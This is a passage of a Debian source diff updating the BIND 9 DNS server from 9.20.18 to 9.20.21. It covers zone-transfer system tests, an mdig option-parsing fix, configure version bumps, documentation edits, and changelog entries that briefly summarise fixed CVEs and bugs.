validate_axfr_from_query_and_file(msg_axfr, "10.53.0.3", "knowngood.mapped") + + +# test that a zone with too many records is rejected (AXFR) +def test_axfr_too_many_records(ns6): + with ns6.watch_log_from_start() as watcher: + watcher.wait_for_line(Re("'axfr-too-big/IN'.*: too many records")) + + +# test that a zone with too many records is rejected (IXFR) +def test_ixfr_too_many_records(named_port, ns6): + with ns6.watch_log_from_here(timeout=20) as watcher: + nsupdate_config = f""" + zone ixfr-too-big + server 10.53.0.1 {named_port} + update add the-31st-record.ixfr-too-big 0 TXT this is it + send + """ + nsupdate(nsupdate_config) + watcher.wait_for_line("Transfer status: too many records") + + +# checking whether dig calculates AXFR statistics correctly +def test_dig_and_named_axfr_stats(named_port, ns3): + # Use ns3 logs for checking incoming transfer statistics as ns3 is a + # secondary server (for ns1) for "xfer-stats". + with ns3.watch_log_from_start() as watcher_transfer_completed: + pattern_transfer_completed = ( + "Transfer completed: 16 messages, 10003 records, 218403 bytes" + ) + watcher_transfer_completed.wait_for_line(pattern_transfer_completed) + + # Loop until the secondary server manages to transfer the "xfer-stats" zone so + # that we can both check dig output and immediately proceed with the next test. + # Use -b so that we can discern between incoming and outgoing transfers in ns3 + # logs later on. + dig_source_port = os.getenv("EXTRAPORT1") + dig = isctest.run.isctest.run.EnvCmd("DIG", f"-p {str(named_port)}") + output = dig( + f"+tcp +noadd +nosea +nostat +noquest +nocomm +nocmd +edns +nocookie +noexpire +stat -b 10.53.0.2#{dig_source_port} @10.53.0.3 xfer-stats. AXFR" + ).out + + assert "; Transfer failed" not in output + assert ";; XFR size: 10003 records (messages 16, bytes 218403)" in output + + # Use ns3 logs for checking outgoing transfer statistics as ns3 is a + # primary server (for dig queries from the previous test) for "xfer-stats". + isctest.log.info( + "checking whether named calculates outgoing AXFR statistics correctly" + ) + with ns3.watch_log_from_start() as watcher_axfr_ended: + pattern_axfr_ended = f"10.53.0.2#{dig_source_port} (xfer-stats): transfer of 'xfer-stats/IN': AXFR ended: 16 messages, 10003 records, 218403 bytes" + watcher_axfr_ended.wait_for_line(pattern_axfr_ended) + + +# test that transfer-source uses port option correctly +def test_transfer_source_option_uses_port_option_correctly(ns6): + assert ns6.log.grep( + f"10.53.0.3#{os.getenv('EXTRAPORT1')} (primary): query 'primary/SOA/IN' approved" + ) + + +# First, test that named tries the next primary in the list when the first one +# fails (XoT -> Do53). Then, test that named tries the next primary in the list +# when the first one is already marked as unreachable (XoT -> Do53). +def test_xot_primary_try_next(ns6): + def retransfer_and_check_log(): + with ns6.watch_log_from_here(timeout=60) as watcher: + ns6.rndc("retransfer xot-primary-try-next.") + watcher.wait_for_line("Transfer status: success") + + retransfer_and_check_log() + retransfer_and_check_log() + + +# See #5307#note_558185 +def test_reconfiguration_when_zone_transfer_is_in_the_middle_of_soa_query(ns6): + isctest.log.info( + "Check that xfr-and-reconfig has been successfully transferred by the secondary" + ) + with ns6.watch_log_from_start() as watcher_transfer_completed: + watcher_transfer_completed.wait_for_line( + "zone xfr-and-reconfig/IN: zone transfer finished: success" + ) + + isctest.log.info("Make ans6 receive queries without responding to them") + msg = dns.message.make_query("disable.send-responses._control.", "TXT") + get_response(msg, "10.53.0.9") + + isctest.log.info("Try to reload the zone from an unresponsive primary") + ns6.rndc("reload xfr-and-reconfig") + + isctest.log.info("Reconfigure named while zone transfer attempt is in progress") + ns6.reconfigure() + + isctest.log.info( + "Confirm that the ongoing SOA request was canceled, caused by the reconfiguration" + ) + with ns6.watch_log_from_start() as watcher_transfer_cancelled: + watcher_transfer_cancelled.wait_for_line( + "refresh: request result: operation canceled" + ) + + isctest.log.info("Make ans6 receive queries and respond to them") + msg = dns.message.make_query("enable.send-responses._control.", "TXT") + with ns6.watch_log_from_here(timeout=30) as watcher_transfer_started: + get_response(msg, "10.53.0.9") + isctest.log.info("Try to reload the zone from the primary") + ns6.rndc("reload xfr-and-reconfig") + watcher_transfer_started.wait_for_line("Transfer started") diff -Nru bind9-9.20.18/bin/tests/system/xferquota/setup.py bind9-9.20.21/bin/tests/system/xferquota/setup.py --- bind9-9.20.18/bin/tests/system/xferquota/setup.py 2026-01-09 13:39:28.224975943 +0000 +++ bind9-9.20.21/bin/tests/system/xferquota/setup.py 2026-03-13 22:01:10.772875078 +0000 @@ -15,13 +15,12 @@ # Set up test data for zone transfer quota tests. # -zones = 300 +ZONES = 300 -for z in range(zones): +for z in range(ZONES): zn = f"zone{z:06d}.example" with open(f"ns1/{zn}.db", "w", encoding="utf-8") as f: - f.write( - """$TTL 300 + f.write("""$TTL 300 @ IN SOA ns1 . 1 300 120 3600 86400 NS ns1 NS ns2 @@ -31,13 +30,12 @@ MX 20 mail2.isp.example. www A 10.0.0.1 xyzzy A 10.0.0.2 -""" - ) +""") with open("ns1/zones.conf", "w", encoding="utf-8") as priconf, open( "ns2/zones.conf", "w", encoding="utf-8" ) as secconf: - for z in range(zones): + for z in range(ZONES): zn = f"zone{z:06d}.example" priconf.write(f'zone "{zn}" {{ type primary; file "{zn}.db"; }};\n') secconf.write( diff -Nru bind9-9.20.18/bin/tests/system/xferquota/tests_xferquota.py bind9-9.20.21/bin/tests/system/xferquota/tests_xferquota.py --- bind9-9.20.18/bin/tests/system/xferquota/tests_xferquota.py 2026-01-09 13:39:28.224975943 +0000 +++ bind9-9.20.21/bin/tests/system/xferquota/tests_xferquota.py 2026-03-13 22:01:10.772875078 +0000 @@ -9,15 +9,16 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. +from re import compile as Re + import glob import os import re -from re import compile as Re import shutil import signal import time -import dns.message +import dns.zone import pytest import isctest diff -Nru bind9-9.20.18/bin/tests/system/zero/ans5/ans.py bind9-9.20.21/bin/tests/system/zero/ans5/ans.py --- bind9-9.20.18/bin/tests/system/zero/ans5/ans.py 2026-01-09 13:39:28.224975943 +0000 +++ bind9-9.20.21/bin/tests/system/zero/ans5/ans.py 2026-03-13 22:01:10.772875078 +0000 @@ -11,8 +11,9 @@ information regarding copyright ownership. """ +from collections.abc import AsyncGenerator + import ipaddress -from typing import AsyncGenerator import dns.rcode import dns.rdatatype diff -Nru bind9-9.20.18/bin/tests/system/zero/tests_sh_zero.py bind9-9.20.21/bin/tests/system/zero/tests_sh_zero.py --- bind9-9.20.18/bin/tests/system/zero/tests_sh_zero.py 2026-01-09 13:39:28.225975970 +0000 +++ bind9-9.20.21/bin/tests/system/zero/tests_sh_zero.py 2026-03-13 22:01:10.773875046 +0000 @@ -11,9 +11,6 @@ import pytest -# isctest.asyncserver requires dnspython >= 2.0.0 -pytest.importorskip("dns", minversion="2.0.0") - pytestmark = pytest.mark.extra_artifacts( [ "dig.out*", diff -Nru bind9-9.20.18/bin/tools/mdig.c bind9-9.20.21/bin/tools/mdig.c --- bind9-9.20.18/bin/tools/mdig.c 2026-01-09 13:39:28.228976048 +0000 +++ bind9-9.20.21/bin/tools/mdig.c 2026-03-13 22:01:10.776874950 +0000 @@ -1646,7 +1646,7 @@ dash_option(const char *option, char *next, struct query *query, bool global, bool *setname) { char opt; - const char *value; + const char *value, *oldvalue; isc_result_t result; bool value_from_next; isc_consttextregion_t tr; @@ -1656,7 +1656,7 @@ struct in_addr in4; struct in6_addr in6; in_port_t srcport; - char *hash; + const char *hash; uint32_t num; while (strpbrk(option, single_dash_opts) == &option[0]) { @@ -1726,12 +1726,15 @@ case 'b': GLOBAL(); hash = strchr(value, '#'); + oldvalue = value; if (hash != NULL) { result = parse_uint(&num, hash + 1, MAXPORT, "port number"); CHECKM("parse_uint(srcport)", result); srcport = num; - *hash = '\0'; + snprintf(textname, sizeof(textname), "%.*s", + (int)(hash - value), value); + value = textname; } else { srcport = 0; } @@ -1742,13 +1745,7 @@ isc_sockaddr_fromin(&srcaddr, &in4, srcport); isc_net_disableipv6(); } else { - if (hash != NULL) { - *hash = '#'; - } - fatal("invalid address %s", value); - } - if (hash != NULL) { - *hash = '#'; + fatal("invalid address %s", oldvalue); } have_src = true; return value_from_next; @@ -2049,10 +2046,7 @@ fatal("isc_portset_create (v4) failed"); } - result = isc_net_getudpportrange(AF_INET, &udpport_low, &udpport_high); - if (result != ISC_R_SUCCESS) { - fatal("isc_net_getudpportrange (v4) failed"); - } + isc_net_getportrange(AF_INET, &udpport_low, &udpport_high); isc_portset_addrange(v4portset, udpport_low, udpport_high); @@ -2060,10 +2054,7 @@ if (result != ISC_R_SUCCESS) { fatal("isc_portset_create (v6) failed"); } - result = isc_net_getudpportrange(AF_INET6, &udpport_low, &udpport_high); - if (result != ISC_R_SUCCESS) { - fatal("isc_net_getudpportrange (v6) failed"); - } + isc_net_getportrange(AF_INET6, &udpport_low, &udpport_high); isc_portset_addrange(v6portset, udpport_low, udpport_high); diff -Nru bind9-9.20.18/configure bind9-9.20.21/configure --- bind9-9.20.18/configure 2026-01-09 13:40:25.028464403 +0000 +++ bind9-9.20.21/configure 2026-03-13 22:05:14.379579230 +0000 @@ -1,6 +1,6 @@ #! /bin/sh # Guess values for system-dependent variables and create Makefiles. -# Generated by GNU Autoconf 2.72 for BIND 9.20.18. +# Generated by GNU Autoconf 2.72 for BIND 9.20.21. # # Report bugs to . # @@ -615,8 +615,8 @@ # Identity of this package. PACKAGE_NAME='BIND' PACKAGE_TARNAME='bind' -PACKAGE_VERSION='9.20.18' -PACKAGE_STRING='BIND 9.20.18' +PACKAGE_VERSION='9.20.21' +PACKAGE_STRING='BIND 9.20.21' PACKAGE_BUGREPORT='https://gitlab.isc.org/isc-projects/bind9/-/issues/new?issuable_template=Bug' PACKAGE_URL='https://www.isc.org/downloads/' @@ -1571,7 +1571,7 @@ # Omit some internal or obsolete options to make the list less imposing. # This message is too long to be a string in the A/UX 3.1 sh. cat <<_ACEOF -'configure' configures BIND 9.20.18 to adapt to many kinds of systems. +'configure' configures BIND 9.20.21 to adapt to many kinds of systems. Usage: $0 [OPTION]... [VAR=VALUE]... @@ -1643,7 +1643,7 @@ if test -n "$ac_init_help"; then case $ac_init_help in - short | recursive ) echo "Configuration of BIND 9.20.18:";; + short | recursive ) echo "Configuration of BIND 9.20.21:";; esac cat <<\_ACEOF @@ -1893,7 +1893,7 @@ test -n "$ac_init_help" && exit $ac_status if $ac_init_version; then cat <<\_ACEOF -BIND configure 9.20.18 +BIND configure 9.20.21 generated by GNU Autoconf 2.72 Copyright (C) 2023 Free Software Foundation, Inc. @@ -2313,7 +2313,7 @@ This file contains any messages produced by compilers while running configure, to aid debugging if configure makes a mistake. -It was created by BIND $as_me 9.20.18, which was +It was created by BIND $as_me 9.20.21, which was generated by GNU Autoconf 2.72. Invocation command line was $ $0$ac_configure_args_raw @@ -3097,7 +3097,7 @@ printf "%s\n" "#define PACKAGE_VERSION_MINOR \"20\"" >>confdefs.h -printf "%s\n" "#define PACKAGE_VERSION_PATCH \"18\"" >>confdefs.h +printf "%s\n" "#define PACKAGE_VERSION_PATCH \"21\"" >>confdefs.h printf "%s\n" "#define PACKAGE_VERSION_EXTRA \"\"" >>confdefs.h @@ -3106,7 +3106,7 @@ printf "%s\n" "#define PACKAGE_DESCRIPTION \" (Stable Release)\"" >>confdefs.h -printf "%s\n" "#define PACKAGE_SRCID \"0d2e0d8\"" >>confdefs.h +printf "%s\n" "#define PACKAGE_SRCID \"12f97d4\"" >>confdefs.h bind_CONFIGARGS="${ac_configure_args:-default}" @@ -3941,7 +3941,7 @@ # Define the identity of the package. PACKAGE='bind' - VERSION='9.20.18' + VERSION='9.20.21' printf "%s\n" "#define PACKAGE \"$PACKAGE\"" >>confdefs.h @@ -18704,13 +18704,13 @@ if test -n "$PYTHON"; then # If the user set $PYTHON, use it and don't search something else. - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether $PYTHON version is >= 3.6" >&5 -printf %s "checking whether $PYTHON version is >= 3.6... " >&6; } + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether $PYTHON version is >= 3.10" >&5 +printf %s "checking whether $PYTHON version is >= 3.10... " >&6; } prog="import sys # split strings by '.' and convert to numeric. Append some zeros # because we need at least 4 digits for the hex conversion. # map returns an iterator in Python 3.0 and a list in 2.x -minver = list(map(int, '3.6'.split('.'))) + [0, 0, 0] +minver = list(map(int, '3.10'.split('.'))) + [0, 0, 0] minverhex = 0 # xrange is not present in Python 3.0 and range returns an iterator for i in list(range(0, 4)): minverhex = (minverhex << 8) + minver[i] @@ -18733,8 +18733,8 @@ else # Otherwise, try each interpreter until we find one that satisfies # VERSION. - { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for a Python interpreter with version >= 3.6" >&5 -printf %s "checking for a Python interpreter with version >= 3.6... " >&6; } + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for a Python interpreter with version >= 3.10" >&5 +printf %s "checking for a Python interpreter with version >= 3.10... " >&6; } if test ${am_cv_pathless_PYTHON+y} then : printf %s "(cached) " >&6 @@ -18746,7 +18746,7 @@ # split strings by '.' and convert to numeric. Append some zeros # because we need at least 4 digits for the hex conversion. # map returns an iterator in Python 3.0 and a list in 2.x -minver = list(map(int, '3.6'.split('.'))) + [0, 0, 0] +minver = list(map(int, '3.10'.split('.'))) + [0, 0, 0] minverhex = 0 # xrange is not present in Python 3.0 and range returns an iterator for i in list(range(0, 4)): minverhex = (minverhex << 8) + minver[i] @@ -30457,7 +30457,7 @@ # report actual input values of CONFIG_FILES etc. instead of their # values after options handling. ac_log=" -This file was extended by BIND $as_me 9.20.18, which was +This file was extended by BIND $as_me 9.20.21, which was generated by GNU Autoconf 2.72. Invocation command line was CONFIG_FILES = $CONFIG_FILES @@ -30526,7 +30526,7 @@ cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 ac_cs_config='$ac_cs_config_escaped' ac_cs_version="\\ -BIND config.status 9.20.18 +BIND config.status 9.20.21 configured by $0, generated by GNU Autoconf 2.72, with options \\"\$ac_cs_config\\" diff -Nru bind9-9.20.18/configure.ac bind9-9.20.21/configure.ac --- bind9-9.20.18/configure.ac 2026-01-09 13:39:28.231976127 +0000 +++ bind9-9.20.21/configure.ac 2026-03-13 22:01:10.779874854 +0000 @@ -16,7 +16,7 @@ # m4_define([bind_VERSION_MAJOR], 9)dnl m4_define([bind_VERSION_MINOR], 20)dnl -m4_define([bind_VERSION_PATCH], 18)dnl +m4_define([bind_VERSION_PATCH], 21)dnl m4_define([bind_VERSION_EXTRA], )dnl m4_define([bind_DESCRIPTION], [(Stable Release)])dnl m4_define([bind_SRCID], [m4_esyscmd_s([git rev-parse --short HEAD | cut -b1-7])])dnl @@ -317,7 +317,7 @@ # # Python is optional, it is used only by some of the system test scripts. # -AM_PATH_PYTHON([3.6], [], [:]) +AM_PATH_PYTHON([3.10], [], [:]) AM_CONDITIONAL([HAVE_PYTHON], [test "$PYTHON" != ":"]) AC_PATH_PROGS([PYTEST], [pytest-3 py.test-3 pytest py.test pytest-pypy], []) diff -Nru bind9-9.20.18/contrib/gitchangelog/gitchangelog.py bind9-9.20.21/contrib/gitchangelog/gitchangelog.py --- bind9-9.20.18/contrib/gitchangelog/gitchangelog.py 2026-01-09 13:39:28.232976153 +0000 +++ bind9-9.20.21/contrib/gitchangelog/gitchangelog.py 2026-03-13 22:01:10.780874822 +0000 @@ -483,7 +483,7 @@ return TextProc(lambda text: value.fun(self.fun(text))) import inspect - (_frame, filename, lineno, _function_name, lines, _index) = inspect.stack()[1] + _frame, filename, lineno, _function_name, lines, _index = inspect.stack()[1] raise SyntaxError( "Invalid syntax in config file", ( @@ -2084,10 +2084,7 @@ raise ## XXXvlab: should use $COLUMNS in bash and for windows: ## http://stackoverflow.com/questions/14978548 - stderr( - paragraph_wrap( - textwrap.dedent( - """\ + stderr(paragraph_wrap(textwrap.dedent("""\ UnicodeEncodeError: There was a problem outputing the resulting changelog to your console. @@ -2095,11 +2092,7 @@ This probably means that the changelog contains characters that can't be translated to characters in your current charset (%s). - """ - ) - % sys.stdout.encoding - ) - ) + """) % sys.stdout.encoding)) if WIN32 and PY_VERSION < 3.6 and sys.stdout.encoding != "utf-8": ## As of PY 3.6, encoding is now ``utf-8`` regardless of ## PYTHONIOENCODING diff -Nru bind9-9.20.18/debian/changelog bind9-9.20.21/debian/changelog --- bind9-9.20.18/debian/changelog 2026-01-21 16:32:52.000000000 +0000 +++ bind9-9.20.21/debian/changelog 2026-03-25 16:08:59.000000000 +0000 @@ -1,3 +1,17 @@ +bind9 (1:9.20.21-1~deb13u1) trixie-security; urgency=high + + * New upstream version 9.20.21 + - [CVE-2026-1519]: Fix unbounded NSEC3 iterations when validating + referrals to unsigned delegations. + - [CVE-2026-3104]: Fix memory leaks in code preparing DNSSEC proofs of + non-existence. + - [CVE-2026-3119]: Prevent a crash in code processing queries + containing a TKEY record. + - [CVE-2026-3591]: Fix a stack use-after-return flaw in SIG(0) handling + code. + + -- Ondřej Surý Wed, 25 Mar 2026 17:08:59 +0100 + bind9 (1:9.20.18-1~deb13u1) trixie-security; urgency=high * New upstream version 9.20.18 diff -Nru bind9-9.20.18/doc/arm/_ext/iscconf.py bind9-9.20.21/doc/arm/_ext/iscconf.py --- bind9-9.20.18/doc/arm/_ext/iscconf.py 2026-01-09 13:39:28.233976180 +0000 +++ bind9-9.20.21/doc/arm/_ext/iscconf.py 2026-03-13 22:01:10.782874758 +0000 @@ -23,9 +23,8 @@ from collections import namedtuple -from docutils.parsers.rst import Directive, directives from docutils import nodes - +from docutils.parsers.rst import Directive, directives from sphinx import addnodes from sphinx.directives import ObjectDescription from sphinx.domains import Domain @@ -35,7 +34,6 @@ import checkgrammar - logger = logging.getLogger(__name__) @@ -356,7 +354,7 @@ ) def get_statement_name(self, signature): - return "{}.{}.{}".format(domainname, "statement", signature) + return f"{domainname}.statement.{signature}" def add_statement(self, signature, tags, short, short_node, lineno): """ @@ -364,7 +362,7 @@ No visible effect. """ name = self.get_statement_name(signature) - anchor = "{}-statement-{}".format(domainname, signature) + anchor = f"{domainname}-statement-{signature}" new = { "tags": tags, diff -Nru bind9-9.20.18/doc/arm/_ext/mergegrammar.py bind9-9.20.21/doc/arm/_ext/mergegrammar.py --- bind9-9.20.18/doc/arm/_ext/mergegrammar.py 2026-01-09 13:39:28.233976180 +0000 +++ bind9-9.20.21/doc/arm/_ext/mergegrammar.py 2026-03-13 22:01:10.782874758 +0000 @@ -13,9 +13,10 @@ # Depends on CWD - Sphinx plugin -import json from pathlib import Path +import json + import parsegrammar diff -Nru bind9-9.20.18/doc/arm/_ext/namedconf.py bind9-9.20.21/doc/arm/_ext/namedconf.py --- bind9-9.20.18/doc/arm/_ext/namedconf.py 2026-01-09 13:39:28.233976180 +0000 +++ bind9-9.20.21/doc/arm/_ext/namedconf.py 2026-03-13 22:01:10.782874758 +0000 @@ -15,6 +15,7 @@ Sphinx domain "namedconf". See iscconf.py for details. """ + from docutils import nodes import iscconf diff -Nru bind9-9.20.18/doc/arm/changelog.rst bind9-9.20.21/doc/arm/changelog.rst --- bind9-9.20.18/doc/arm/changelog.rst 2026-01-09 13:39:28.234976206 +0000 +++ bind9-9.20.21/doc/arm/changelog.rst 2026-03-13 22:01:10.783874726 +0000 @@ -18,6 +18,9 @@ development. Regular users should refer to :ref:`Release Notes ` for changes relevant to them. +.. include:: ../changelog/changelog-9.20.21.rst +.. include:: ../changelog/changelog-9.20.20.rst +.. include:: ../changelog/changelog-9.20.19.rst .. include:: ../changelog/changelog-9.20.18.rst .. include:: ../changelog/changelog-9.20.17.rst .. include:: ../changelog/changelog-9.20.16.rst diff -Nru bind9-9.20.18/doc/arm/conf.py bind9-9.20.21/doc/arm/conf.py --- bind9-9.20.18/doc/arm/conf.py 2026-01-09 13:39:28.235976232 +0000 +++ bind9-9.20.21/doc/arm/conf.py 2026-03-13 22:01:10.783874726 +0000 @@ -146,7 +146,6 @@ # -- Project information ----------------------------------------------------- project = "BIND 9" -# pylint: disable=redefined-builtin copyright = "2023, Internet Systems Consortium" author = "Internet Systems Consortium" diff -Nru bind9-9.20.18/doc/arm/notes.rst bind9-9.20.21/doc/arm/notes.rst --- bind9-9.20.18/doc/arm/notes.rst 2026-01-09 13:39:28.238976311 +0000 +++ bind9-9.20.21/doc/arm/notes.rst 2026-03-13 22:01:10.787874598 +0000 @@ -45,6 +45,9 @@ found at https://gitlab.isc.org/isc-projects/bind9/-/wikis/Known-Issues-in-BIND-9.20 +.. include:: ../notes/notes-9.20.21.rst +.. include:: ../notes/notes-9.20.20.rst +.. include:: ../notes/notes-9.20.19.rst .. include:: ../notes/notes-9.20.18.rst .. include:: ../notes/notes-9.20.17.rst .. include:: ../notes/notes-9.20.16.rst diff -Nru bind9-9.20.18/doc/arm/reference.rst bind9-9.20.21/doc/arm/reference.rst --- bind9-9.20.18/doc/arm/reference.rst 2026-01-09 13:39:28.241976390 +0000 +++ bind9-9.20.21/doc/arm/reference.rst 2026-03-13 22:01:10.790874502 +0000 @@ -3066,6 +3066,18 @@ from or or cannot use to resolve a query. Queries from these addresses are not responded to. The default is ``none``. + When configuring this list, note that BIND evaluates Access Control Lists + sequentially (first match wins). A common misconception is that the directive + ``!address;`` blocks everything except that address. In reality, it only + explicitly exempts ``address`` from the blackhole; all other IP addresses + reach the end of the list without matching, meaning they are also not + blackholed. + + To successfully blackhole all traffic *except* specific addresses, you must + explicitly catch the remaining traffic with ``any;`` at the end of the list. + For example: ``!address; any;`` + + .. namedconf:statement:: no-case-compress :tags: server :short: Specifies a list of addresses that require case-insensitive compression in responses. diff -Nru bind9-9.20.18/doc/changelog/changelog-9.20.19.rst bind9-9.20.21/doc/changelog/changelog-9.20.19.rst --- bind9-9.20.18/doc/changelog/changelog-9.20.19.rst 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/doc/changelog/changelog-9.20.19.rst 2026-03-13 22:01:10.793874406 +0000 @@ -0,0 +1,77 @@ +.. Copyright (C) Internet Systems Consortium, Inc. ("ISC") +.. +.. SPDX-License-Identifier: MPL-2.0 +.. +.. This Source Code Form is subject to the terms of the Mozilla Public +.. License, v. 2.0. If a copy of the MPL was not distributed with this +.. file, you can obtain one at https://mozilla.org/MPL/2.0/. +.. +.. See the COPYRIGHT file distributed with this work for additional +.. information regarding copyright ownership. + +BIND 9.20.19 +------------ + +Feature Changes +~~~~~~~~~~~~~~~ + +- Update requirements for system test suite. ``a2a9b1b878`` + + Python 3.10 or newer is now required for running the system test + suite. The required python packages and their version requirements are + now tracked in `bin/tests/system/requirements.txt`. + + Support for pytest 9.0.0 has been added its minimum supported version + has been raised to 7.0.0. The minimum supported dnspython version has + been raised to 2.3.0. :gl:`#5690` :gl:`#5614` :gl:`!11469` + +- Use enum rather than numbers for isc_base64_tobuffer and + isc_hex_tobuffer. ``47b8ca5ac7`` + + Use isc_one_or_more and isc_zero_or_more rather than (-2) and (-1) + when calling isc_base64_tobuffer. Similarly for isc_hex_tobuffer. This + should help reduce the probability that the wrong number is used and + it makes the intent clearer. :gl:`#5713` :gl:`!11498` + +Bug Fixes +~~~~~~~~~ + +- Fix inbound IXFR performance regression. ``318a7535d2`` + + Very large inbound IXFR transfers were much slower compared to BIND + 9.18. The performance was improved by adding specialized logic to + handle IXFR transfers. :gl:`#5442` :gl:`!11355` + +- Make catalog zone names and member zones' entry names + case-insensitive. ``cd23f0250a`` + + Previously, the catalog zone names and their member zones' entry names + were unintentionally case-sensitive. This has been fixed. :gl:`#5693` + :gl:`!11450` + +- Use const pointer with strchr of const pointer. ``736b84ad46`` + + :gl:`#5694` :gl:`!11463` + +- Fix brid and hhit implementation. ``f73ef3b24f`` + + Fix bugs in BRID and HHIT implementation and enable the unit tests. + :gl:`#5710` :gl:`!11492` + +- DSYNC record incorrectly used two octets for the Scheme Field. + ``bd9f73c705`` + + When creating the `DSYNC` record from a structure, `uint16_tobuffer` + was used instead of `uint8_tobuffer` when adding the scheme, causing a + `DSYNC` record that was one octet too long. This has been fixed. + :gl:`#5711` :gl:`!11483` + +- Fix a possible issue with reponse policy zones and catalog zones. + ``3d0823ee68`` + + If a response policy zone (RPZ) or a catalog zone contained an + `$INCLUDE` directive, then manually reloading that zone could fail to + process the changes in the response policy or in the catalog, + respectively. This has been fixed. :gl:`#5714` :gl:`!11496` + + diff -Nru bind9-9.20.18/doc/changelog/changelog-9.20.20.rst bind9-9.20.21/doc/changelog/changelog-9.20.20.rst --- bind9-9.20.18/doc/changelog/changelog-9.20.20.rst 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/doc/changelog/changelog-9.20.20.rst 2026-03-13 22:01:10.793874406 +0000 @@ -0,0 +1,158 @@ +.. Copyright (C) Internet Systems Consortium, Inc. ("ISC") +.. +.. SPDX-License-Identifier: MPL-2.0 +.. +.. This Source Code Form is subject to the terms of the Mozilla Public +.. License, v. 2.0. If a copy of the MPL was not distributed with this +.. file, you can obtain one at https://mozilla.org/MPL/2.0/. +.. +.. See the COPYRIGHT file distributed with this work for additional +.. information regarding copyright ownership. + +BIND 9.20.20 +------------ + +Feature Changes +~~~~~~~~~~~~~~~ + +- Record query time for all dnstap responses. ``f4fdcee03f1`` + + Not all DNS responses had the query time set in their corresponding + dnstap messages. This has been fixed. :gl:`#3695` :gl:`!11534` + +- Implement Fisher-Yates shuffle for nameserver selection. + ``dd453590a0e`` + + Replace the two-pass "random start index and wrap around" logic in + fctx_getaddresses_nameservers() with a statistically sound partial + Fisher-Yates shuffle. + + The previous implementation picked a random starting node and did two + passes over the linked list to find query candidates. The new logic + introduces fctx_getaddresses_nsorder() to perform an in-place + randomization of indices into a bounded, stack-allocated lookup array + (nsorder) representing the "winning" fetch slots. + + The nameserver dataset is now traversed in exactly one sequential + pass: 1. Every nameserver is evaluated for local cached data. 2. If + the current nameserver's sequential index exists in the randomized + nsorder array, it is permitted to launch an outgoing network fetch. 3. + If not, it is restricted to local lookups via DNS_ADBFIND_NOFETCH. + + This guarantees a fair random distribution for outbound queries while + maximizing local cache hits, entirely within O(1) memory and without + the overhead of linked-list pointer shuffling or dynamic allocation. + :gl:`#5695` :gl:`!11606` + +- Invalid NSEC3 can cause OOB read of the isdelegation() stack. + ``e6f234169e2`` + + When .next_length is longer than NSEC3_MAX_HASH_LENGTH, it causes a + harmless out-of-bound read of the isdelegation() stack. This has been + fixed. :gl:`#5749` :gl:`!11594` + +- Optimize the TCP source port selection on Linux. ``d4426f85b36`` + + Enable a socket option on the outgoing TCP sockets to allow faster + selection of the source tuple for different destination + tuples when nearing over 70-80% of the source port + utilization. :gl:`!11573` + +Bug Fixes +~~~~~~~~~ + +- Fix errors when retrying over TCP in notify_send_toaddr. + ``a1232333196`` + + If the source address is not available do not attempt to retry over + TCP otherwise clear the TSIG key from the message prior to retrying. + :gl:`#5457` :gl:`!11567` + +- Fetch loop detection improvements. ``892c3e78926`` + + Fixes a case where an in-domain NS with an expired glue would fail to + resolve. + + Let's consider the following parent-side delegation (both for + `foo.example.` and `dnshost.example.` + + ``` foo.example. 3600 NS ns.dnshost.example. + dnshost.example. 3600 NS ns.dnshost.example. + ns.dnshost.example. 3600 A 1.2.3.4 ``` Then the + child-side of `dnshost.example.`: + + ``` dnshost.example. 300 NS ns.dnshost.example. + ns.dnshost.example. 300 A 1.2.3.4 ``` And then the + child-side of `foo.example.`: + + ``` foo.example 3600 NS ns.dnshost.example. + a.foo.example 300 A 5.6.7.8 ``` + + While there is a zone misconfiguration (the TTL of the delegation and + glue doesn't match in the parent and the child), it is possible to + resolve `a.foo.example` on a cold-cache resolver. However, after the + `ns.dnshost.example.` glue expires, the resolution would have failed + with a "fetch loop detected" error. This is now fixed. :gl:`#5588` + :gl:`!11547` + +- Remove deterministic selection of nameserver. ``c6c6e490fd8`` + + When selecting nameserver addresses to be looked up we where always + selecting them in dnssec name order from the start of the nameserver + rrset. This could lead to resolution failure despite there being + address that could be resolved for the other names. Use a random + starting point when selecting which names to lookup. :gl:`#5695` + :gl:`#5745` :gl:`!11600` + +- DNSTAP wasn't logging forwarded queries correctly. ``0a5922bcf7a`` + + :gl:`#5724` :gl:`!11555` + +- Fix read UAF in BIND9 dns_client_resolve() via DNAME Response. + ``c0c4bf526a1`` + + An attacker controlling a malicious DNS server returns a DNAME record, + and the we stores a pointer to resp->foundname, frees the response + structure, then uses the dangling pointer in dns_name_fullcompare() + possibly causing invalid match. Only the `delv`is affected. This has + been fixed. :gl:`#5728` :gl:`!11571` + +- Clear serve-stale flags when following the CNAME chains. + ``68fb2312948`` + + A stale answer could have been served in case of multiple upstream + failures when following the CNAME chains. This has been fixed. + :gl:`#5751` :gl:`!11583` + +- Fail DNSKEY validation when supported but invalid DS is found. + ``2e1971873a1`` + + A regression was introduced when adding the EDE code for unsupported + DNSKEY and DS algorithms. When the parent has both supported and + unsupported algorithm in the DS record, the validator would treat the + supported DS algorithm as insecure when validating DNSKEY records + instead of BOGUS. This has not security impact as the rest of the + child zone correctly ends with BOGUS status, but it is incorrect and + thus the regression has been fixed. :gl:`#5757` :gl:`!11590` + +- Importing invalid SKR file might corrupt stack memory. ``9869a14ce3a`` + + If an BIND 9 administrator imports an invalid SKR file, local stack in + the import function might overflow. This could lead to a memory + corruption on the stack and ultimately server crash. This has been + fixed. + + ISC would like to thank mcsky23 for bringing this bug to our + attention. :gl:`#5758` :gl:`!11598` + +- Do not update the case on unchanged rdatasets. ``8931f82dc8b`` + + Fix assertion failure on unchanged rdataset during IXFR. :gl:`#5759` + :gl:`!11587` + +- Return FORMERR for ECS family 0. ``8ac316bf0f6`` + + RFC 7871 only defines family 1 (IPv4) and 2 (IPv6). Additionally it + requires FORMERR to be returned for all unknown families. :gl:`!11565` + + diff -Nru bind9-9.20.18/doc/changelog/changelog-9.20.21.rst bind9-9.20.21/doc/changelog/changelog-9.20.21.rst --- bind9-9.20.18/doc/changelog/changelog-9.20.21.rst 1970-01-01 